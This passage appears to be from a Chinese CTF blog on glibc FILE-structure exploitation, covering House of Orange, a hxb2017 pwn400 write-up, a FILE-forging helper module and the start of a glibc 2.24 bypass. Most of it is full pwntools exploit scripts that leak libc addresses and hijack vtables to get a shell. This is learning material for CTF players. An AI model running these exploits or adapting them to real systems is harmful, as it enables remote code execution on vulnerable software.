success('heap_base: '+hex(heap_base))


pay='e'*0x400
pay+=p64(0)+p64(0x21)
pay+=p32(1)+p32(0x1f)+p64(0)

fake_file='/bin/sh\x00'+p64(0x61) #fp ; to smallbin 0x60 (_chain)
fake_file+=p64(0xdeadbeef)+p64(_IO_list_all-0x10) #unsortedbin attack
fake_file+=p64(0)+p64(1) #_IO_write_base ; _IO_write_ptr
fake_file=fake_file.ljust(0xc0,'\x00')
fake_file+=p64(0) #mode<=0

pay+=fake_file
pay += p64(0)
pay += p64(0)
pay += p64(heap_base+0x5d0)#pointer to vtable

pay += p64(0)*3 # vtable
pay += p64(system)#_IO_OVERFLOW

upgrade(0x800,pay,1,1)

#z('set follow-fork-mode parent\nc')
#z('directory ~/glibc-2.23/malloc/\nb _int_malloc\nc')
cn.sendline('1')

cn.interactive()

bypass方法二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./houseoforange')
bin = ELF('./houseoforange')
libc = ELF('./libc_local.so')
else:
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def build(size,name,price,color):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))


def see():
cn.recvuntil(":")
cn.sendline("2")

def upgrade(size,name,price,color):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))

#top_chunk_size->0xfa1
build(16,'aaaa',1,1)
pay = 'b'*16+p64(0)+p64(0x21)+'b'*16+p64(0)+p64(0xfa1)
upgrade(0x200,pay,1,1)

#triger free in _sys_malloc
build(0x1000,'cccc',1,1)

#leak libc base
build(0x400,'dddddddd',1,1)
see()
cn.recvuntil('dddddddd')
d = cn.recv(6).ljust(8,'\x00')
libc_base = u64(d)-1640-0x3c4b20
success('libc_base: '+hex(libc_base))
system = libc_base+libc.symbols['system']
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
success('system: '+hex(system))
success('_IO_list_all: '+hex(_IO_list_all))

#leak heap base
upgrade(0x400,'d'*16,1,1)
see()
cn.recvuntil('d'*16)
d = cn.recvuntil('\n')[:-1].ljust(8,'\x00')
heap_base=u64(d)-0xc0
success('heap_base: '+hex(heap_base))

pay='e'*0x400
pay+=p64(0)+p64(0x21)
pay+=p32(1)+p32(0x1f)+p64(0)

fake_file='/bin/sh\x00'+p64(0x61) #fp ; to smallbin 0x60 (_chain)
fake_file+=p64(0xdeadbeef)+p64(_IO_list_all-0x10) #unsortedbin attack
fake_file=fake_file.ljust(0xa0,'\x00')
fake_file+=p64(heap_base+0x4e0) #wide_data bypass
fake_file=fake_file.ljust(0xc0,'\x00')
fake_file+=p64(1)#mode>0

pay+=fake_file
pay += p64(0)
pay += p64(0)
pay += p64(heap_base+0x5d0)#pointer to vtable

pay += p64(0)*3 # vtable
pay += p64(system)#_IO_OVERFLOW

upgrade(0x800,pay,1,1)

#z('set follow-fork-mode parent\nc')
#z('directory ~/glibc-2.23/malloc/\nb _int_malloc\nc')
cn.sendline('1')

cn.interactive()

此外还有一些细节的问题。

1.0x60的smallbin是如何产生的?

在正常理解中,free一个小于0x80的chunk(64位)时,这个chunk会被加入fastbin。所以直接通过free是无法产生0x60的smallbin的。

大致有两种方法。

1.考虑如下代码

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>

int main(void){
void *p = malloc(0x80);//创建一个大于0x80的chunk
malloc(0x10);//防止后面free时归入top chunk
free(p);//产生一个0x90的unsortedbin
malloc(0x20);//从0x90的unsortedbin中割去0x30,还剩一个0x60的unsortedbin
malloc(0x60);//malloc一个0x70的chunk,此时unsortedbin不够大,系统把此时的unsortedbin归类到smallbin下
return 0;
}

2.考虑如下代码

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

int main(void){
void *p = malloc(0x50);
malloc(0x10);
free(p);//此时p为fastbin
malloc(0x3f0);//0x400 (large chunk)
return 0;//此时p为smallbin
}

这个代码在调试时你会发现,通过malloc一个large chunk(大于0x3ff),fastbin会变成smallbin。

具体的代码是这样的。

malloc->_int_malloc->malloc_consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void *
_int_malloc (mstate av, size_t bytes)
{
......

/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range (nb))
{
......
}

/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/

else //分配大小为largebin
{
idx = largebin_index (nb);
if (have_fastchunks (av))//如果有fastbin
malloc_consolidate (av);//调用malloc_consolidate
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/*
------------------------- malloc_consolidate -------------------------

malloc_consolidate is a specialized version of free() that tears
down chunks held in fastbins. Free itself cannot be used for this
purpose since, among other things, it might place chunks back onto
fastbins. So, instead, we need to use a minor variant of the same
code.

Also, because this routine needs to be called the first time through
malloc anyway, it turns out to be the perfect place to trigger
initialization code.
*/

static void malloc_consolidate(mstate av)
{
......
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);//unlink fastbin
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;//将脱下来的fastbin加入unsortedbin
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
......
}

从而fastbin转成了unsortedbin,根据第一条原则,malloc遇到不够大的unsortedbin会将其归类,从而得到了smallbin。

hxb2017 pwn400 wp

这道题也是利用FILE指针搞事情。

程序提供了4个功能:

1
2
3
4
1. Create Profile
2. Print Profile
3. Update Profile
4. Exchange other's age

create和update函数处由于有负数溢出,所以能够覆盖一些东西,配合print函数能够leak。
exchange函数则提供了两个地址互写指针的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned int 1_create()
{
int name_len; // [esp+4h] [ebp-24h]
char buf; // [esp+8h] [ebp-20h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( namelen )
{
puts("You have already create your profile");
}
else
{
puts("Input your name len:");
read(0, &buf, 0x14u);
name_len = atoi(&buf);
if ( name_len > 8 )
{
name = malloc(name_len);
if ( !name )
{
puts("name space create failed!");
exit(0);
}
puts("Input your name:");
read(0, name, name_len);
}
else // name_len为负数时,read处overflow
{
puts("Input your name:");
read(0, &name, name_len);
}
puts("Input your age:");
__isoc99_scanf("%d", &age);
puts("Profile Created");
namelen = name_len;
}
return __readgsdword(0x14u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int 3_update()
{
signed int old_len; // [esp+Ch] [ebp-1Ch]
char buf[10]; // [esp+12h] [ebp-16h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( namelen )
{
puts("Input your new namelen:");
old_len = namelen;
__isoc99_scanf("%d", &namelen);
if ( (signed int)namelen > 8 )
{
name = malloc(namelen);
if ( !name )
{
puts("name space create failed!");
exit(0);
}
puts("Input your name:");
read(0, name, namelen);
}
else
{
puts("Input your name:");
if ( (signed int)namelen <= old_len )
{
read(0, &name, namelen); // overflow
}
else // namelen<=8,namelen>oldlen
{
read(0, buf, 8u);
strncat((char *)&name, buf, namelen - old_len);
}
}
puts("Input your age:");
__isoc99_scanf("%d", &age);
puts("Update succeeded");
}
else
{
puts("You need to create your profile first!");
}
return __readgsdword(0x14u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int 2_print()
{
int result; // eax

if ( (signed int)namelen <= 0 || (signed int)namelen > 8 )// 如果namelen小于0,会将name的值解释为指针,从而产生leak
{
printf("Your name: %s\n", name);
result = printf("Your age: %d\n", age);
}
else
{
printf("Your name: %s\n", &name);
result = printf("Your age: %d\n", age);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned int 4_exchange()
{
unsigned int p1; // [esp+4h] [ebp-14h]
unsigned int p2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
if ( check_bit )
{
puts("You can't do that twice");
}
else
{
puts("welcome to the secret place of this system\nyou can revise two man's age,whose age you wanna revise?");
printf("Person 1: ");
read(0, &p1, 4u);
printf("Person 2: ");
read(0, &p2, 4u);
if ( p1 > (unsigned int)&board && p1 < (unsigned int)&read || p2 > (unsigned int)&board && p2 < (unsigned int)&read )//不能直接操作bss段上的值
{
puts("no no,you can't do that for yourself");
exit(0);
}
*(_DWORD *)(p1 + 0xC) = p2; // 指针互写
*(_DWORD *)(p2 + 0xC) = p1;
check_bit = 1;
}
return __readgsdword(0x14u) ^ v3;
}

做法:
1.通过负数溢出leak出libc基址
2.通过负数溢出在bss后面一段伪造一个FILE结构体
3.通过exchange函数将这个结构体写到_IO_stdout,程序调用putchar->_IO_OVERFLOW,getshell

1
2
3
4
5
6
7
8
9
int
putchar (int c)
{
int result;
_IO_acquire_lock (_IO_stdout);
result = _IO_putc_unlocked (c, _IO_stdout);
_IO_release_lock (_IO_stdout);
return result;
}

_IO_acquire_lock是一条宏,内容如下

1
2
3
4
5
6
7
# define _IO_acquire_lock(_fp) \
do { \
_IO_FILE *_IO_acquire_lock_file \
__attribute__((cleanup (_IO_acquire_lock_fct))) \
= (_fp); \
_IO_flockfile (_IO_acquire_lock_file);

其中又调用了_IO_acquire_lock_fct,是一个内联函数

1
2
3
4
5
6
7
8
9
10
#define _IO_USER_LOCK 0x8000

static inline void
__attribute__ ((__always_inline__))
_IO_acquire_lock_fct (_IO_FILE **p)
{
_IO_FILE *fp = *p;
if ((fp->_flags & _IO_USER_LOCK) == 0) // 需要bypass,_flags & 0x8000 不能为 0
_IO_funlockfile (fp);
}

_IO_putc_unlocked又为一条宏,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define _IO_putc_unlocked(_ch, _fp) \
(_IO_BE ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end, 0) \ //需要bypass
? __overflow (_fp, (unsigned char) (_ch)) \ // getshell
: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))


#if __GNUC__ >= 3
# define _IO_BE(expr, res) __builtin_expect ((expr), res)
#else
# define _IO_BE(expr, res) (expr)
#endif


int
__overflow (_IO_FILE *f, int ch)
{
/* This is a single-byte stream. */
if (f->_mode == 0) // 可能需要bypass
_IO_fwide (f, -1);
return _IO_OVERFLOW (f, ch);
}

因此,我们构造一个结构体:
1._flags & 0x8000 != 0
2._IO_write_ptr >= _IO_write_end
3._mode != 0

最后是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./profile')
bin = ELF('./profile')
libc = ELF('./libc.so_local')
else:
cn = remote('114.215.68.121',10080)
bin = ELF('./profile')
libc = ELF('./libc.so_remote')

def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def create(namelen,name,age):
cn.sendline('1')
cn.recvuntil('len:')
cn.sendline(str(namelen))
cn.recvuntil('name:')
cn.send(name)
cn.recvuntil('age:')
cn.sendline(str(age))

def printout():
cn.sendline('2')

def update(namelen,name,age):
cn.sendline('3')
cn.recvuntil('len:')
cn.sendline(str(namelen))
cn.recvuntil('name:')
cn.send(name)
cn.recvuntil('age:')
cn.sendline(str(age))

def exchange(p1,p2):
cn.sendline('4')
cn.recvuntil('1:')
cn.send(p32(p1))
cn.recvuntil('2:')
cn.send(p32(p2))

cn.recv()
pay = p32(bin.got['read'])+'a'*4+p32(0x100)
create(-1,pay,1)

printout()
cn.recvuntil('name: ')
read = u32(cn.recv()[:4])
libc_base = read-libc.symbols['read']
system = libc_base+libc.symbols['system']
stdout = libc_base+libc.symbols['stdout']
success('stdout:' + hex(stdout))
success('libc_base: '+hex(libc_base))

fake_file ='A\x80;/' #_flags, bypass _flag&0x8000!=0
fake_file+='bin/' #_IO_read_ptr
fake_file+='sh\x00\x00' #_IO_read_end
fake_file+=p32(0) #_IO_read_base
fake_file+=p32(0xffffffff) #_IO_write_base
fake_file+=p32(0x1) #_IO_write_ptr, bypass _IO_write_ptr >= _IO_write_end
fake_file+=p32(0x1) #_IO_write_end
fake_file = fake_file.ljust(0x68,'\x00')
fake_file+=p32(0x2) #_mode, bypass _mode != 0
fake_file = fake_file.ljust(0x94,'\x00')
fake_file += p32(0x804B300+0x94+4)

fake_file += 3*p32(0)+p32(system)
pay2 = p32(bin.got['read'])+'a'*4+p32(0x100)+'\x00'*(0x100-0x94+0x200-4)+fake_file
update(-2,pay2,10)

#z('directory ~/glibc-2.23/libio/\nb putchar\nset follow-fork-mode parent\nc')
exchange(stdout-0xc,0x0804B300)

cn.interactive()

FILE.py FILE结构体伪造模块

撸了一个伪造FILE结构体的模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *


_IO_FILE_plus_size = {
'i386':0x98,
'amd64':0xe0
}
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},

'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}


class IO_FILE_plus_struct(dict):
arch = None
endian = None
fake_file = None
size = 0
FILE_struct = []


@LocalContext
def __init__(self):
self.arch = context.arch
self.endian = context.endian

if self.arch != 'i386' and self.arch != 'amd64':
log.error('architecture not supported!')
success('arch: '+str(self.arch))

self.FILE_struct = [_IO_FILE_plus[self.arch][i] for i in sorted(_IO_FILE_plus[self.arch].keys())]
print self.FILE_struct
self.update({r:0 for r in self.FILE_struct})
self.size = _IO_FILE_plus_size[self.arch]


def __setitem__(self, item, value):
if item not in self.FILE_struct:
log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct))
super(IO_FILE_plus_struct, self).__setitem__(item, value)

def __setattr__(self, attr, value):
if attr in IO_FILE_plus_struct.__dict__:
super(IO_FILE_plus_struct, self).__setattr__(attr, value)
else:
self[attr]=value

def __getattr__(self, attr):
return self[attr]

def __str__(self):
fake_file = ""
with context.local(arch=self.arch):
for item_offset in sorted(self.item_offset):
if len(fake_file) < item_offset:
fake_file += "\x00"*(item_offset - len(fake_file))
fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all')
fake_file += "\x00"*(self.size - len(fake_file))
return fake_file

@property
def item_offset(self):
return _IO_FILE_plus[self.arch].keys()

使用示范:

1.house of orange exp using module:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./houseoforange')
bin = ELF('./houseoforange')
libc = ELF('./libc_local.so')
else:
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def build(size,name,price,color):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))


def see():
cn.recvuntil(":")
cn.sendline("2")

def upgrade(size,name,price,color):
cn.recvuntil(":")
cn.sendline("3")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))

#top_chunk_size->0xfa1
build(16,'aaaa',1,1)
pay = 'b'*16+p64(0)+p64(0x21)+'b'*16+p64(0)+p64(0xfa1)
upgrade(0x200,pay,1,1)

#triger free in _sys_malloc
build(0x1000,'cccc',1,1)

#leak libc base
build(0x400,'dddddddd',1,1)
see()
cn.recvuntil('dddddddd')
d = cn.recv(6).ljust(8,'\x00')
libc_base = u64(d)-1640-0x3c4b20
success('libc_base: '+hex(libc_base))
system = libc_base+libc.symbols['system']
_IO_list_all=libc_base+libc.symbols['_IO_list_all']
success('system: '+hex(system))
success('_IO_list_all: '+hex(_IO_list_all))

#leak heap base
upgrade(0x400,'d'*16,1,1)
see()
cn.recvuntil('d'*16)
d = cn.recvuntil('\n')[:-1].ljust(8,'\x00')
heap_base=u64(d)-0xc0
success('heap_base: '+hex(heap_base))


pay='e'*0x400
pay+=p64(0)+p64(0x21)
pay+=p32(1)+p32(0x1f)+p64(0)

from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = u64('/bin/sh\x00')
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_write_base=0
fake_file._IO_write_ptr=1
fake_file._mode=0
fake_file.vtable=heap_base+0x4f0+fake_file.size

pay+=str(fake_file)
pay += p64(0)*3 # vtable
pay += p64(system)#_IO_OVERFLOW

upgrade(0x800,pay,1,1)

#z('set follow-fork-mode parent\nc')
#z('directory ~/glibc-2.23/malloc/\nb _int_malloc\nc')
cn.sendline('1')

cn.interactive()

2.hxb2017 exp using module:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./profile')
bin = ELF('./profile')
libc = ELF('./libc.so_local')
else:
cn = remote('114.215.68.121',10080)
bin = ELF('./profile')
libc = ELF('./libc.so_remote')

def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def create(namelen,name,age):
cn.sendline('1')
cn.recvuntil('len:')
cn.sendline(str(namelen))
cn.recvuntil('name:')
cn.send(name)
cn.recvuntil('age:')
cn.sendline(str(age))

def printout():
cn.sendline('2')

def update_it(namelen,name,age):
cn.sendline('3')
cn.recvuntil('len:')
cn.sendline(str(namelen))
cn.recvuntil('name:')
cn.send(name)
cn.recvuntil('age:')
cn.sendline(str(age))

def exchange(p1,p2):
cn.sendline('4')
cn.recvuntil('1:')
cn.send(p32(p1))
cn.recvuntil('2:')
cn.send(p32(p2))

cn.recv()
pay = p32(bin.got['read'])+'a'*4+p32(0x100)
create(-1,pay,1)

printout()
cn.recvuntil('name: ')
read = u32(cn.recv()[:4])
libc_base = read-libc.symbols['read']
system = libc_base+libc.symbols['system']
stdout = libc_base+libc.symbols['stdout']
success('stdout:' + hex(stdout))
success('libc_base: '+hex(libc_base))

from FILE import *
context.arch = 'i386'
fake_file = IO_FILE_plus_struct()
fake_file._flags = u32('A\x80;/')
fake_file._IO_read_ptr = u32('bin/')
fake_file._IO_read_end = u32('sh\x00\x00')
fake_file._IO_write_ptr = fake_file._IO_write_end=0
fake_file._mode=1
fake_file.vtable=0x804B300+fake_file.size

pay2 = p32(bin.got['read'])+'a'*4+p32(0x100)+'\x00'*(0x100-0x94+0x200-4)+str(fake_file) + 3*p32(0)+p32(system)

update_it(-2,pay2,10)

#z('directory ~/glibc-2.23/libio/\nb putchar\nset follow-fork-mode parent\nc')
exchange(stdout-0xc,0x0804B300)

cn.interactive()

house of orange in glibc 2.24

2.24添加了一个_IO_vtable_check函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

没细看,但看别人的博客说是vtable不能随意构造在任意地址,libc中有一个段叫__libc_IO_vtables,里面全是vtable,应该是只能使用这里面的vtable吧。

我们对一个叫做_IO_str_overflow的虚表函数感兴趣,因为它里面有相对地址调用,而且这个地址不是虚表内的函数。这个函数在一个叫_IO_str_jumps的vtable里(也有其他vtable存在这个函数的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p _IO_str_jumps 
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ff39312db70 <_IO_str_finish>,
__overflow = 0x7ff39312d850 <__GI__IO_str_overflow>,
__underflow = 0x7ff39312d7f0 <__GI__IO_str_underflow>,
__uflow = 0x7ff39312c370 <__GI__IO_default_uflow>,
__pbackfail = 0x7ff39312db50 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ff39312c3d0 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ff39312c550 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ff39312dca0 <__GI__IO_str_seekoff>,
__seekpos = 0x7ff39312c730 <_IO_default_seekpos>,
__setbuf = 0x7ff39312c600 <_IO_default_setbuf>,
__sync = 0x7ff39312c9b0 <_IO_default_sync>,
__doallocate = 0x7ff39312c7a0 <__GI__IO_default_doallocate>,
__read = 0x7ff39312d6a0 <_IO_default_read>,
__write = 0x7ff39312d6b0 <_IO_default_write>,
__seek = 0x7ff39312d680 <_IO_default_seek>,
__close = 0x7ff39312c9b0 <_IO_default_sync>,
__stat = 0x7ff39312d690 <_IO_default_stat>,
__showmanyc = 0x7ff39312d6c0 <_IO_default_showmanyc>,
__imbue = 0x7ff39312d6d0 <_IO_default_imbue>
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)// pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)//pass 一般会通过
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

总结一下可以如此构造:

1
2
3
4
5
_flags = 0
_IO_write_ptr = 0x7fffffffffffffff
_IO_write_base = 0
_IO_buf_end = (binsh-100)/2
_IO_buf_base = 0

在加上_IO_flush_all_lockp中触发OVERFLOW的条件,最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process(['/home/veritas/glibc-2.24_build/lib/ld-linux-x86-64.so.2','--library-path','/home/veritas/glibc-2.24_build/lib/','./houseoforange'])
bin = ELF('./houseoforange')
libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so')
else:
pass


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def build(size,name,price,color):
cn.recvuntil(":")
cn.sendline("1")
cn.recvuntil(":")
cn.sendline(str(size))
cn.recvuntil(":")
cn.send(name)
cn.recvuntil(":")
cn.sendline(str(price))
cn.recvuntil(":")
cn.sendline(str(color))


def see():
cn.recvuntil(":")
